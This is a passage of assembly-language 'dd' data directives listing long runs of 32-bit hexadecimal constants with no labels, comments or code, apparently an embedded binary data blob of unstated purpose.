dd 0BC5F5B69h, 2F842223h, 89978B1Bh, 0B5B85337h, 5C577BFCh
dd 8D49FCE4h, 69C11F47h, 0E0C97163h, 4ACF9CB3h, 0FEA7D97Dh
dd 0AEA71657h, 0CC3F22C0h, 0DC2CC0E2h, 0B7519D4h, 0F1F54F63h
dd 0BD0629A1h, 0BA3705F4h, 0D302C964h, 0E2659836h, 0B82B80B0h
dd 725C5605h, 0A104482Dh, 40F75F88h, 0F1C41740h, 11F81CCFh
dd 17ECC0AEh, 0FA3A054Eh, 16BC51D5h, 4FD95937h, 208F82D7h
dd 5BEE12E6h, 9E524E6Ah, 8C30D422h, 78218772h, 87E8407Fh
dd 89025C52h, 0C246BEC1h, 31ED00E6h, 9219BE6Dh, 67279C73h
dd 945D4816h, 551CD2B7h, 5564F782h, 0C4A5524Ah, 484D3371h
dd 0AF5D3AFh, 0F1A7119Fh, 155F7EADh, 0D8E1F706h, 0BF686B94h
dd 5B695A5h, 39BDF28Eh, 51C3498Ah, 54842D11h, 0BAA70891h
dd 7A25FFDh, 5B439ED1h, 0D0B0E6D4h, 92E7C59Eh, 0D4FD9668h
dd 0F706CA31h, 250C4E2Dh, 0CB6D66F7h, 0C5C0D922h, 452E3BD8h
dd 2FB6EC4h, 0F1C59877h, 3A9EE3C8h, 0A2D0F1A3h, 0C0CD13h
dd 70C19034h, 0E52FA235h, 44E6BECAh, 2CA53654h, 6508CF01h
dd 0B9CB520Fh, 4CE5B23Eh, 0D207DBD1h, 0DFE14F2Eh, 88522247h
dd 0B1B4D067h, 1C39731Bh, 0D1B1CB91h, 71F45277h, 0BB1FE8E1h
dd 84772A09h, 3CB86E57h, 144ED296h, 0F06D57D7h, 0BFDF567Ch
dd 0C6EF7189h, 0D308345Eh, 579C7889h, 756DB569h, 204F1228h
dd 0B5219CAAh, 4A14FAC2h, 0C6B8D24Fh, 74B397B4h, 7ACF11C8h
dd 0AA365D9Ch, 87CEDAE2h, 0FE511CF4h, 0B457CF02h, 5C219C15h
dd 0ECD208C5h, 0E526C681h, 48D15A03h, 842EEBE0h, 44B48183h
dd 0DA74CF4Fh, 8D114403h, 0AF22FF28h, 0BB6D7C56h, 6CF6AF91h
dd 0D290E7A6h, 315F2370h, 621A1EDh, 7883ABBFh, 429E92B0h
dd 4AAFCA95h, 85E059E2h, 0C3214556h, 2F9D7555h, 0E0550CFBh
dd 18301454h, 26FA1218h, 0CCE0A134h, 8736D5F1h, 0F9A1C3A7h
dd 68E18C8Ah, 71861464h, 47A0DC51h, 78514711h, 166B28DAh
dd 0CCB183C5h, 0CF4B1F1Ah, 0BA2C7A97h, 46111E47h, 1869D4F1h
dd 8C6B5087h, 0A83F95C5h, 0C464DF0Eh, 24FA65A8h, 2FA4F539h
dd 16780CDBh, 2C2781DBh, 2D3D9EDCh, 0E9FB5E1h, 0ED06C55h
dd 6D1E7B76h, 0A7B819A1h, 30BB9F1Dh, 0C8EA3808h, 70EE161h
dd 91DCAC39h, 771B0E46h, 8E239224h, 48E4CC3Bh, 1C418EE0h
dd 9225772Eh, 3C125763h, 0A9C968D6h, 65F5EF10h, 65A55253h
dd 9BC67A1Eh, 499535A9h, 0E385A0B9h, 98662332h, 11EDA21Dh
dd 0C607DCE9h, 0D71C3BEDh, 0E1C525D1h, 1F8D549Ch, 79F78D01h
dd 30DE743h, 504E0E40h, 4345193Eh, 0B61BCF69h, 0A4F8777h
dd 0F142D609h, 50A942E6h, 2EF8B62Eh, 0A64D3524h, 0FBE7C4BDh
dd 64A8E6Eh, 0B3513D66h, 0BC10D7E0h, 93FD539Dh, 0A6A300CFh
dd 267E449h, 4EFD00F9h, 7745A4F3h, 3D32D754h, 0A2D449B4h
dd 83995EBAh, 0A7E4C44Ah, 7E155E14h, 7A622C1h, 1897703Ah
dd 2E5853EFh, 96B19065h, 7D2C749Bh, 2E687034h, 7E30E898h
dd 1D69144h, 87C8C9E5h, 0BBEB12Bh, 0ED1713AAh, 168B8DFEh
dd 0CA9520A0h, 1D2118DFh, 0D96DCFFFh, 0AE266598h, 0B951D395h
dd 1B306504h, 8ABEAE93h, 19A4BDA7h, 365E7772h, 0B56D7E7Eh
dd 246A9542h, 0AD00A3F1h, 0FED9FEC3h, 0E9C20C31h, 51B78B84h
dd 0D13EC799h, 0B27ED65Dh, 0BE009A4Ch, 89A5DF05h, 0CDB7EF2Dh
dd 0F8C1FE24h, 1B315EB1h, 251819E0h, 0E1D064D1h, 0EFA2D839h
dd 2AE8EB5Eh, 0CFDB766Fh, 28249EE1h, 3D2A0EBDh, 0F29736F1h
dd 31D8DE16h, 5CE656ECh, 96F7374Fh, 7820D389h, 0C971CE22h
dd 2C621DD8h, 0A4D1BE05h, 983D796h, 0FCCC74FEh, 6E5A06F3h
dd 3EC499D6h, 527EDDD2h, 82A3E09Ah, 0BE898351h, 0A6917A6Ch
dd 9786753Fh, 3D4E64B8h, 85DA8C19h, 0AD252C58h, 4F702AA2h
dd 58C3B6F9h, 0AA1DD8Eh, 61FE9173h, 4ECE173Fh, 0EB15EE4Bh
dd 0BA98F66Ah, 6BD6CC02h, 655EAABDh, 462ADFCAh, 0DDBDDA55h
dd 14324E71h, 0ECB9BD50h, 11CE94E7h, 8D76DFDAh, 5E947F32h
dd 1F94A8A6h, 773715A5h, 336D83CAh, 0F03121B1h, 0BE24FDDEh
dd 335E63F1h, 5F4E5319h, 5696334Bh, 0D4D67E90h, 0A78C7293h
dd 8FF69933h, 7D0485FBh, 6B85E787h, 43820371h, 0BFCF6A09h
dd 0E8333C3h, 8995947Dh, 5B57DC71h, 0D4C96AC6h, 0DA722AC3h
dd 99F49832h, 7955A27Eh, 0C8E6BC0Eh, 5DB867E9h, 37C7620Ch
dd 3F59D2CEh, 0A443F29Bh, 0C172DB6Bh, 0E1DF580Dh, 170FE524h
dd 626B0F31h, 4F71DBDBh, 0CA25F55Fh, 135E83D1h, 0B853CFh
dd 0E420FBA5h, 0CA68ED49h, 9ADE08A5h, 72FCEC3Fh, 0F3DB743Fh
dd 393BAF27h, 0C8662DDAh, 0F1536D77h, 0D74DA916h, 6C26B565h
dd 0E343D78Ah, 240E714h, 7157837h, 5A187F5Dh, 85AFA796h
dd 2D30B8Ch, 8AEEF6F4h
dd 28825D90h, 159E2F28h, 0BCBD312Ah, 93BCA1Ch, 6B0E78BCh
dd 110983CFh, 5C7D34C5h, 48246531h, 0E94A879Fh, 5CFF84E1h
dd 5709754Ah, 0BE47A52Ah, 0B1252A4h, 0F95E3C95h, 84A15D77h
dd 0AE38C366h, 5F1B8C07h, 0CB63093Eh, 205D9747h, 0D781BEB8h
dd 61528A51h, 0A7DAB8A1h, 7C8B88C4h, 0EBF144CAh, 60398AE0h
dd 0C16D61C8h, 890B2ADh, 6A664B72h, 486D4583h, 0A9661B50h
dd 436A190Dh, 6887F2A1h, 396B82C6h, 48D72615h, 0B3684C57h
dd 10D8C961h, 0F29E0D4Ah, 890E3F99h, 0B782BF67h, 0B56F057Ch
dd 0E0DAA561h, 5D8AD051h, 5CC96BF9h, 0D0C62610h, 0BDB47051h
dd 2BE160D2h, 388ACA5Bh, 4FDA0DC4h, 668B7566h, 0B4682539h
dd 0E005439Fh, 9BF3405Ah, 9711A4C1h, 34E7F1F2h, 60DE65B0h
dd 0FCD93569h, 0F962C3E5h, 7A06F42Bh, 12E53CC4h, 76181DEEh
dd 0F4E4F3ABh, 7655F49Dh, 0C57BA604h, 41262023h, 6EDA4FFCh
dd 2DD05D8Eh, 4DF85EAEh, 0ED442571h, 63965356h, 34815875h
dd 0DA461641h, 25DCC616h, 5609F16Eh, 40BC0CB3h, 4CC9EE2Bh
dd 0B2D7E90h, 4FE3549h, 685153DCh, 94D18256h, 6672508h
dd 1E2EDF7Eh, 8A49CDC4h, 67BF0E39h, 2262EAD1h, 2C317CDFh
dd 6B6598E7h, 58559280h, 0BD4DAC02h, 3864379Dh, 8CB6B6CCh
dd 7C76C66Fh, 0C24D84D7h, 0CA56E83h, 159D9519h, 1899D501h
dd 0D132ECA3h, 615E8D2Eh, 8C216520h, 86312D22h, 0EDB18BACh
dd 0E3396868h, 9FF6D8A6h, 1D3E14E0h, 0B7BD6717h, 0C32DCC81h
dd 67E5381Dh, 1D138B24h, 0CEE8C165h, 82DA1C84h, 656A3301h
dd 3F82EC7Bh, 0BB68E8Ah, 0ED8CA533h, 7782C36Eh, 1519B9C5h
dd 0ACE7146h, 6CF37705h, 0D8BEDBEFh, 0B337F5D8h, 5634B3A3h
dd 9309B31h, 27638BDBh, 0A505911Eh, 143C02D3h, 0F829AF5Fh
dd 0D985DB72h, 4B0F5452h, 0B9011A0Ah, 67C1B018h, 0B8DC09B7h
dd 6D99EB47h, 902903ADh, 0D884CE81h, 7B70CB87h, 658A3A5Ch
dd 135EED8Fh, 0F912732Fh, 0CDC7DF1Dh, 5E057793h, 65EE07FEh
dd 0CCE27CEEh, 6F43D8E8h, 0DA680FFh, 3FAC5C58h, 0FC54505h
dd 2460BDBEh, 68671BC3h, 7882F6A7h, 0E787F9A8h, 99FC3083h
dd 7A412686h, 6965A02Bh, 0E7401028h, 60E07872h, 2E5E6051h
dd 2872CCE7h, 0C556E81Bh, 0B8F35C64h, 605AD301h, 4129CDEEh
dd 14ECF65Dh, 32C510FCh, 5F124C6h, 7897893Dh, 4B8D2F12h
dd 112528E2h, 0B1C703Fh, 645A7125h, 8D827E5Ah, 2F15ABB3h
dd 0A444375Dh, 64AC8DBCh, 0C7106426h, 0A11FF6D8h, 13E21389h
dd 0BC5DFEDBh, 0F5BF07D8h, 82B852BDh, 8C4C82F6h, 51A08CD3h
dd 1E318D50h, 4ADFDE61h, 6B34021Bh, 72B4D8A2h, 9286FECCh
dd 587202B3h, 23263AD2h, 67827778h, 49A3A60Fh, 40DE074Bh
dd 74F0CAFh, 5E8833F4h, 0FBC991Dh, 0A224FD11h, 66444305h
dd 298E98DEh, 0FE4EE649h, 4E11C14Dh, 0FEF8BF16h, 461430CCh
dd 495A2B5Dh, 94207138h, 0E5D3870Dh, 5DCAAC17h, 130920C4h
dd 9FC4A1EFh, 67E0A3A0h, 0B859ECE4h, 3AC1B340h, 986781C5h
dd 0A16B9E9Dh, 9C9D391Dh, 8381D39Bh, 27A9B6Ch, 2E3D2657h
dd 87A7142Ch, 3E9134CDh, 1070BF1Fh, 0F6D8D247h, 766EB44Bh
dd 0DE1CAE6h, 0D9FC39FFh, 57216C2Eh, 35499AEAh, 767A8B3Eh
dd 7B6D6416h, 6179B27Eh, 61658B4Ah, 9F6643E6h, 0B0BDD292h
dd 0F06BDE12h, 30BDDDDDh, 0F00BDE17h, 0F36E3E7Dh, 3C38B0F5h
dd 4EC1EA91h, 83212CAAh, 946ED684h, 0F0167864h, 1B286981h
dd 2BEAEDFAh, 67E27648h, 9DC3A863h, 882754DCh, 85B6E89Ah
dd 98B6637h, 27B07ADBh, 8A36DE2Dh, 9FA5A8DDh, 67E2910Eh
dd 9AFF43AAh, 69BF6810h, 0E0D042Eh, 281E8172h, 4E2CA2B6h
dd 5CC6858Fh, 2A38ED6Ch, 95E554Eh, 1D2947BDh, 2B3338B1h
dd 8A9A3C8Fh, 0A7F2A5EBh, 2A820810h, 210A697h, 0D9661026h
dd 9DF52206h, 15FCECB6h, 0A65E64B8h, 7F1ADA1Dh, 184E80D8h
dd 70389C44h, 7CB650ACh, 8B5EAAA2h, 0FF210076h, 0C190B20Eh
dd 0D1D09473h, 4835E155h, 6831AF66h, 68C1F3A4h, 6A5E58FCh
dd 0BEF39656h, 82806307h, 0AD955F37h, 0E7FBD3D1h, 9C5E9829h
dd 714B3886h, 0FED8C87h, 0DC32A067h, 1FA16BB8h, 0DB0C3137h
dd 24BACE3Fh, 5E9DE2DEh, 0C06E7F0Ah, 5A6E1F6h, 14A177BEh
dd 3DC31D7Dh, 2E886688h, 3DF7C5CAh, 0A729AC54h, 0E5CB7BCFh
dd 17F2B322h, 0C604626Eh, 86342C0Dh, 0A11E2F99h, 1054FD88h
dd 5B36DB71h, 4DB598A2h, 81CDEA9Ah, 0C35A542Ah, 242C82AAh
dd 5F1ADF80h, 73FF2312h, 0A1C684B4h, 0FDB31BE5h, 89AFD99Dh
dd 9314F877h, 9C50AD38h, 4D285854h, 0ED1B7DF9h, 4066F180h
dd 0BBDD6652h, 0E5DC0DEDh, 0C77B46DDh, 0B0A27A63h, 0AE720D88h
dd 5C0D0579h, 6D4383B4h, 0FE0E5148h, 0D3DACF1Bh, 989851F1h
dd 34F795F0h, 24B69A3Ch, 0D64CACD9h, 4B5CFD2Eh, 335EF267h
dd 8E64E5B3h, 0B3670EA0h, 39A1029Fh, 7F13D43h, 5F3F01A3h
dd 7D4B4B48h, 1636C955h, 2350B8D8h, 550EEE00h, 589EBE02h
dd 4539AB8Ch, 7E37FE69h, 9FB9C5B3h, 82A29F46h, 0DD7BEF2Ah
dd 0B6496BECh, 86F4B745h, 0CBFB8A02h, 0B30191BDh, 5264DFFh
dd 9260D9B4h, 0EF8BFE53h, 7A5534C1h, 53781A08h, 0FA70AF46h
dd 7671DA43h, 650F4FC6h, 64063D3Bh, 4C3E0C7Ah, 5A4EA18Fh
dd 0C7895D94h, 81D3A453h, 0AF61707h, 0A264D123h, 0B853CA79h
dd 0FF0BDEC9h, 0E9943B96h, 3FAAA3D5h, 5F670606h, 837198Fh
dd 0FF488F16h, 0DEDBDD83h, 0F3DC3D05h, 71D2827h, 0E1513EFFh
dd 0AFC34BCFh, 6755F890h, 2E2A9A6Bh, 0E3D26370h, 0E5A48087h
dd 0C78D4D30h, 0FC17A272h, 9A5BE194h, 7DA37AA6h, 0D42B0B3Dh
dd 67C6A79h, 31E949EEh, 0AB3E932Fh, 0D4216A78h, 32BC1ACCh
dd 0A9005703h, 4D7C1C62h, 98A3F706h, 0D7AA63F1h, 5FD5760h
dd 438CE0C9h, 0D582FE36h, 77A37B2Bh, 12E7E30Fh, 75BFDB87h
dd 1CEB7F96h, 7F9B56FFh, 6B7F9C6Bh, 0A26B7F82h, 0FF926B7Fh
dd 23E96B3Bh, 0DFDA20D7h, 26F0C82Bh, 0BA160A04h, 29DCCA1Dh
dd 8B71E928h, 705AC14Ah, 0DB4532DEh, 86B151B8h, 0AA7D8776h
dd 3942826Ch, 316C9F97h, 252E3188h, 47051938h, 957D1ACFh
dd 0D97D167Fh, 0B408CF5h, 0EB59AC0Dh, 0C101BE54h, 6A5470CBh
dd 509DE53Dh, 0E5AFF9F6h, 0D576D582h, 0ED6FE51Bh, 4D4E15EFh
dd 0B7310E39h, 9EB7F69Eh, 0DFDA8181h, 24F3003Ah, 843F09DAh
dd 0D6FE7A6Bh, 88F97F61h, 0CFA7B2BEh, 7F89372h, 0EA81DD0h
dd 817DC7C7h, 30BF41F3h, 0ED803CE2h, 0ED5E6D58h, 9D939B54h
dd 0BB63A70Eh, 0E6473960h, 5E30D949h, 906161E3h, 6430C3CCh
dd 0B925AC14h, 6D7C666Bh, 7EC6CE4Eh, 0E064F2E9h, 982FE0C8h
dd 28C89EA5h, 685688B7h, 65207156h, 0E04066D4h, 7459B717h
dd 0AB43CF1Ch, 0B825F114h, 0E71BDF8Bh, 0F82560B1h, 2794520Bh
dd 2EEC6006h, 23EFA61Eh, 6CC7935Eh, 90B536A6h, 40A5A6BEh
dd 93815AB3h, 0C9E0CD8Ah, 0A0ADD119h, 386356C5h, 0C6B42AA8h
dd 7E986E06h, 981E7751h, 95D99C2Dh, 0F10DF503h, 8528292Ah
dd 83ED6176h, 0B2300A94h, 0A32337E5h, 0B4678ADCh, 83283C46h
dd 0DF119128h, 378C2DD7h, 0C6F9E656h, 153A46DBh, 6D1EF9ECh
dd 96BF3EEBh, 0DEE9272Eh, 3A7DBD06h, 9BB936Eh, 0D23130DFh
dd 5B1BE075h, 398A76A4h, 0EA32F1Eh, 4A782946h, 0DA34BA0Ah
dd 0AB4159B2h, 0DA1C535Fh, 8899A94Eh, 608D5A60h, 5A9D4085h
dd 0FE23ADFCh, 0D6FE25ADh
dd 0F86FE541h, 4CB7B2B5h, 0ACCBD49Ch, 1B42A017h, 0DBD9F8CCh
dd 0D3CFC56Bh, 0DF5A613Dh, 0F1669870h, 67955817h, 61FDB4C3h
dd 9674BC9Ah, 0EB8CC0BFh, 0B41685C6h, 2E9E293h, 0B718DE9Eh
dd 0D53C1F67h, 0B02F9CF8h, 7AB246D4h, 51A3DB63h, 5B025A8Ch
dd 0CF6E9C93h, 4E501793h, 604A054Dh, 0D9E9CD8Dh, 82D94E01h
dd 4091E288h, 0D3C38241h, 0CBA98886h, 488469D5h, 421A7874h
dd 0D9B51888h, 5B977E82h, 82CCD579h, 1B8C3659h, 4A5614Fh
dd 1D7F4F4Ah, 5713AB17h, 596C9BC0h, 0F112BE01h, 0F805662Dh
dd 4F28F193h, 5DC32E33h, 0B91CFC04h, 35B02120h, 0AB59EDCEh
dd 26DCBDC5h, 0C2DF85DFh, 1CB366D5h, 0A01D56E3h, 64388D1Ch
dd 22DCBA8Bh, 0C3D57C9Bh, 0C43D57CCh, 0C0C3A502h, 0A9E0E3D5h
dd 496AE8EFh, 40E18592h, 0F20AD0E9h, 4B620308h, 0FE04A834h
dd 0D6803982h, 0EBEF5EC2h, 0E4F2E959h, 0A7262460h, 5867DB6Ah
dd 0D6831BC5h, 0C7A01263h, 8BC50404h, 17C9A497h, 6CED0BCh
dd 20C514E9h, 8BB3A328h, 0D2D995h, 0FB91621Dh, 29DC1EE5h
dd 61EDF17Eh, 0E195AB5Fh, 80D8B907h, 0B057A8B9h, 0FDAE8126h
dd 0D15D8C18h, 0EF51F301h, 0F4D0C7C4h, 0E3ADB17Eh, 0D6BB7428h
dd 5E2654E9h, 2573A073h, 3736309Eh, 0CEBE863Fh, 0E735AF81h
dd 91D2E547h, 56EB52CCh, 9AD4BF93h, 51AB6475h, 0F21F223Eh
dd 0CD028832h, 0FE7EE103h, 0BF7F6D61h, 0CFA83695h, 9BAA77EEh
dd 0E30FA4A0h, 0B34DFBF6h, 78C39D94h, 46623719h, 45BE4368h
dd 0E90FDF8Dh, 7951FB6h, 0E5B6C5E5h, 36CB97CBh, 2B144DCh
dd 0C41FE0BFh, 459E2D0Ch, 0AC969FEDh, 95B9729Ch, 4EE03CBEh
dd 30518BE0h, 1368BC9Fh, 67177DD3h, 5DB7338Bh, 44AD069Ch
dd 6AD6DA2Ah, 2F083B5Bh, 0B5D5D439h, 0E7AF1C71h, 330577B0h
dd 83252EDCh, 9BCC2991h, 1C25CA5Dh, 7B90BF31h, 0D8B6290Fh
dd 0B11CBB57h, 0E2E2F6AFh, 0F3414BBFh, 0E00C3072h, 0E11C6306h
dd 0D29CB9F3h, 0DB7C916h, 73968DA0h, 28A06951h, 0A95BA419h
dd 264DB64Fh, 9E238E17h, 0D93EA1FFh, 0A4FB06BBh, 53AA176Dh
dd 0FC42924Eh, 820A0D83h, 4F7CAB72h, 8A61565Ch, 0CAEF6AD4h
dd 0CD48B3CCh, 0D9BEF2E7h, 65403626h, 5A062536h, 0FA7E9F07h
dd 0E1C9AF69h, 0C69EDAF0h, 3536285Dh, 0BAF8791Dh, 43A0508Ch
dd 129B50F8h, 7D8DC260h, 4F8E6F23h, 0FBA38C18h, 88D62AF9h
dd 186D04DFh, 127906CFh, 0CD846B7h, 3A486AB3h, 0B83B4B7Dh
dd 106AF831h, 0B9803875h, 0B9A4C55Fh, 0C4A070B9h, 4A38820Dh
dd 2F3B80BEh, 503FD4DCh, 6D653E8Ch, 0FC0866E5h, 4E5C2505h
dd 0BE6A0B70h, 745A5C01h, 50A755F1h, 0FB73D247h, 0C2003C75h
dd 74A0679h, 620D57A1h, 9DA6A2E7h, 379D8388h, 0E665650Ah
dd 0D7554BFh, 507CA50Dh, 0CD097E53h, 1C538683h, 1B02E537h
dd 9D01F806h, 0A958293Dh, 38828BF5h, 7F5125FDh, 6C5FD049h
dd 0FE924BFAh, 9FBA8162h, 4B02E0ECh, 51C18F89h, 0E1AAC0ADh
dd 6295050h, 3B9B35C2h, 5D9389CEh, 0A028D1BDh, 0E9A38F94h
dd 0C18E1D28h, 2B13A2A0h, 91848C33h, 0C6E68B6Eh, 3D1C0182h
dd 86F10E50h, 293D55EAh, 9762BE17h, 92EF95B4h, 10AAE546h
dd 3D57D1EAh, 0D7C3FEC2h, 649BE523h, 53B925EDh, 0D8BA1338h
dd 0CFAADABh, 6865E5C3h, 0C5A05F9Ch, 1B973390h, 240DF594h
dd 5CEE64C2h, 4CE82D2Fh, 0E98EFCF6h, 0B7820826h, 12D06F2Bh
dd 148C647Ch, 24A8B5D1h, 824FDA0Fh, 0B9F59056h, 1F459A5Fh
dd 0E78A7FF3h, 9CEC6174h, 0C66AA4E8h, 0E599BCADh, 4C46F136h
dd 48AEBE9Fh, 0CA5C1A76h, 5550FF4Bh, 0F01757E5h, 581A1B6Ah
dd 0F78B9740h, 5AB83946h, 8A23A6ACh, 0A3D47A77h, 9CA258F1h
dd 0DA83ED8Eh, 7EA9CE20h, 0E2B278C5h, 93E0BF13h, 0AC947ACh
dd 3E0A6E2Dh, 0AEF0CE3h, 0AAD7CBBEh, 0DA1F134Ch, 0A360AAD6h
dd 0AB73AE96h, 0FAC819E9h, 6567393Dh, 6F0CF4A0h, 0F1E07162h
dd 0E9A09C1Eh, 0E8CF853Bh, 43D3853Bh, 497D21FEh, 0A44B2B99h
dd 1CE57934h, 52507EA7h, 27A9CDBCh, 7EDEBC40h, 0B7CA9BD2h
dd 0B8BA503Eh, 0B40ED88Fh, 0B58E1D3Ah, 18A4E3BFh, 0D095E725h
dd 0A1DC3690h, 3672D14Ah, 0AD7CE8CEh, 59BC4C71h, 0CE3A1296h
dd 368EBD6Dh, 0FF29C7FEh, 52F2A30Dh, 7EA15CD0h, 141FB369h
dd 0C2D5AFB5h, 0ED38C42Ah, 2F9632A3h, 0C247C6FFh, 8E9C9671h
dd 4F7D4DFDh, 9AE20D8Fh, 6BC9B20h, 0C3AA8FF9h, 0AA10CFBAh
dd 147859ECh, 896D1FA3h, 0CED66DDCh, 489BF462h, 0DF753DFBh
dd 3FBE85Fh, 7500C29Dh, 5030550Ch, 0E30C7780h, 983A8B18h
dd 585754BEh, 30E3FE38h, 95CC3E4Ah, 32C8FA26h, 0EAFC4AF1h
dd 0B2F20372h, 0FAB76EABh, 0B0D76E2Eh, 9A5A82BCh, 7976E5DBh
dd 0CDAB7B18h, 3E782D3h, 0D7370230h, 777AB2C6h, 0DBA5EA61h
dd 0FFF70079h, 0EA5C53EAh, 53C52DE0h, 0EF89C785h, 0C1A885C7h
dd 0E2F3ACB2h, 0BF206474h, 0F9434BC9h, 0CB2D10CBh, 0BC38973h
dd 34160488h, 0E82DF969h, 0BFCFCA46h, 0EC6C950h, 0C6407E88h
dd 0A7331221h, 39A61C1Ch, 77687D05h, 20725242h, 48A6892h
dd 0E125172Dh, 95F01AF9h, 3B171A7Fh, 5D31D0AFh, 81AE5BD8h
dd 0DEDAE7EEh, 0DF86BCAFh, 0E1A70E50h, 0C9DF3D4Ah, 993BE36Ch
dd 7686345Fh, 18CEFF32h, 920CC9DEh, 1E556BCEh, 4A837233h
dd 9EEBF193h, 0EB9447Ch, 23C2287h, 968FE5D2h, 0B0A67A26h
dd 0FBE53698h, 15C9150h, 252ED177h, 0CCC6AF8Bh, 7C2C0B7Ah
dd 0EA7ECF9Bh, 96DBE07Ah, 0A8BB2A09h, 19155985h, 33A01DC6h
dd 6E6E5680h, 56768661h, 6F990178h, 7D491AB5h, 18E51A0Fh
dd 56DF289Eh, 0CE2C8333h, 98CCAA53h, 0A4CC5034h, 3AD19929h
dd 0E699935Fh, 8E53E4CFh, 0E006DC6h, 0B926746Dh, 3F85F309h
dd 0D2624818h, 96BEEB2h, 812E525Ch, 0FC58E5BCh, 0D2639A06h
dd 127E121Ch, 0D563F718h, 69ED669Eh, 46369ED1h, 6066A1DEh
dd 40C1B7A0h, 0C6DDF56Fh, 0E5456060h, 0D0D4ADD0h, 172B8CD8h
dd 0B82287B8h, 89A70802h, 58221C50h, 1C861AF0h, 0D01E704Bh
dd 773688FAh, 0BC1ACD1Ch, 896B680Eh, 668E3F16h, 0D1CB47F6h
dd 7401F815h, 57D1CCCDh, 8CA287D5h, 2EB42890h, 740A3983h
dd 6E4ACCE2h, 0C380DFC3h, 8DAA9FE0h, 2AF16301h, 3ECB49E1h
dd 7E2F113Bh, 675A53C4h, 9CF06D51h, 0CB83053Ah, 0DD54589Dh
dd 0DB8ADB1Ch, 0D8CCD087h, 0BEAE1766h, 0F31D21B9h, 2E86B069h
dd 0CF773C9Ah, 3F1DB49Bh, 65310FB0h, 0D0BB3D59h, 14DC3C97h
dd 37D10B87h, 9DA92FD9h, 46B38B31h, 0D0A53F1Bh, 0A15A972h
dd 0FC99F4CCh, 0E87BD646h, 3DB3B207h, 0C5A6F521h, 3B27ED39h
dd 72A315AFh, 0FC6CDEB3h, 62A87CB7h, 0CC1ACF76h, 5F5BAADDh
dd 1F2DDA3Bh, 6756EEEAh, 99CCA0A6h, 0D42B8399h, 6FD21733h
dd 0D0A6FD06h, 3DF81CEFh, 0CF2DFDA6h, 801DD6C6h, 0DB8C6D7Ah
dd 0BFDF1676h, 61D3F81h, 0CC0D37C2h, 0EE1F223Eh, 0CA1FC830h
dd 0EE8E9058h, 44CCEA63h, 0BF4091E2h, 0F89C1171h, 46D33A9Fh
dd 966C3A14h, 368BB8FDh, 0EB63F2B5h, 0AD61F82Dh, 0E028F3DBh
dd 0B3C0443Ch, 0B2BC5517h, 3FF4A9F8h, 541EDCAAh, 42FEF9D9h
dd 0CFC285C8h, 0F70C3CDh, 5AA370Dh, 43BD6C82h, 794F8C9Dh
dd 7FC8C3F2h, 0F04F20D8h, 801DE4Fh, 70322EE9h, 0F277C6AEh
dd 46176BF1h, 97025240h, 97429E5Bh, 4E124E67h, 1767E10Ch
dd 0B3C14126h, 5712A44h, 0E21B31DDh, 746F24C8h, 0F464DBEDh
dd 6B7C0AE1h, 71B06B24h
dd 0E3A53C9Ah, 0BEA318A8h, 27DF644Dh, 0D047E0E6h, 0FE30DA53h
dd 3E818899h, 8FF00FC2h, 0EB66D63Dh, 0F04D2738h, 167F2365h
dd 6A37CDBCh, 0A37CA310h, 0A796E946h, 2648F276h, 0B54E5DB8h
dd 0F0AC5E0Fh, 79D3C4A2h, 52F04A7Ch, 55E1FF74h, 1A8E7098h
dd 0C25582FCh, 0EDDF3C86h, 8E9F2A70h, 0C8739F82h, 86DD24C6h
dd 528F4E9Eh, 82CDD320h, 0E201E715h, 85B79D54h, 8F1FB78h
dd 5CF495A3h, 6E67532Bh, 1F697AA6h, 94FC6357h, 0AA1532BFh
dd 0A7C2D421h, 0D13D20E1h, 0B6C66663h, 0A8B0DA97h, 0B740C3F0h
dd 6803E7A7h, 92B825E9h, 0B441EDD7h, 0A8FBF1Ah, 0A1DA35BBh
dd 0EFE900BCh, 75CA9676h, 0C9FB56C9h, 0A46520ACh, 552EE5C2h
dd 0AAA4BB3Eh, 74661681h, 0D12F9B2Bh, 0CFACBE49h, 0D87174CBh
dd 9DE38786h, 2D57976Eh, 6F3B3A75h, 20ABFBE4h, 0D9C8B743h
dd 4FD3164h, 3139516Dh, 82BD3713h, 46D31426h, 22957F67h
dd 83D01EFCh, 1428728Bh, 0ED6835DDh, 0C6B4FE55h, 19C49AA7h
dd 7E913BF0h, 739C8127h, 0ABD72463h, 3A9C9178h, 0E9A98A51h
dd 82C89E8Dh, 0A6944889h, 0D6B2BB42h, 0D6C4EFF8h, 83613B86h
dd 0B09AA056h, 57CCE3E7h, 0AE1415Bh, 44C197B1h, 0A6A7D350h
dd 9E9763F0h, 9CC25F03h, 5231C14Fh, 0D5F1D35Bh, 660C3CC0h
dd 37BE10BEh, 902E87Ah, 388B02F2h, 0C6D20DB9h, 529A68C4h
dd 5B8C519Ah, 97265D69h, 38CBAC45h, 2C3BF047h, 9B8D7889h
dd 2FF6685Ch, 8C05E335h, 3A16C4h, 88C91A67h, 85D003C6h
dd 9A34E8F5h, 92B66E45h, 0ABE356F8h, 0CACA8DF4h, 9DD191F5h
dd 0E8A18B9h, 6A6EEB7Ah, 0CBF08515h, 0FD5DFEAEh, 0F577FABBh
dd 0D5DFEAEFh, 577FABBFh, 5DFEAEFFh, 77FABBFDh, 0DFEAEFF5h
dd 67FFBFD5h, 4CD3057Fh, 89BA7F2Ch, 2DC01A5h, 600360h
dd 1F7F8003h, 83804DE0h, 0FC02CF00h, 6A994018h, 26786662h
dd 0B802A403h, 44006A00h, 334CEF80h, 0C668CF11h, 6E0976D0h
dd 0F7436D11h, 1C610C3h, 4FC02770h, 58059E01h, 900CD00Bh
dd 4987953Ah, 6DD89930h, 0A00F300h, 0AC025601h, 6803A805h
dd 0C01EF801h, 0E002Fh, 1A7003BCh, 0D5801CE0h, 5801690Ch
dd 80377000h, 0E005A007h, 39F8061h, 37807ECh, 39C00CE0h
dd 90518980h, 79804Fh, 5AC0377h, 7680068h, 0B3C031F8h
dd 0BC00AF00h, 600A7009h, 60046000h, 0DD89B44Ah, 60073008h
dd 8052C001h, 40220075h, 18FC03Bh, 2E8019Eh, 27C02BF8h
dd 5300A300h, 112C4C62h, 3B800EE0h, 3C004A01h, 0F00CD00h
dd 0B0093C03h, 0E007A01Fh, 47C038h, 2C530023h, 1CC01F10h
dd 12801C80h, 5E00B580h, 2B601100h, 0FC02740h, 0F8071E01h
dd 803EC005h, 1DE00D7h, 10C01BF8h, 1304F440h, 0DD3940B3h
dd 5CF0Eh, 12B0085h, 19A00AAh, 33F003BEh, 4700FD80h, 0C034E00h
dd 89C4C03h, 1DC03F1h, 5AC03770h, 1F806680h, 0F00E3C02h
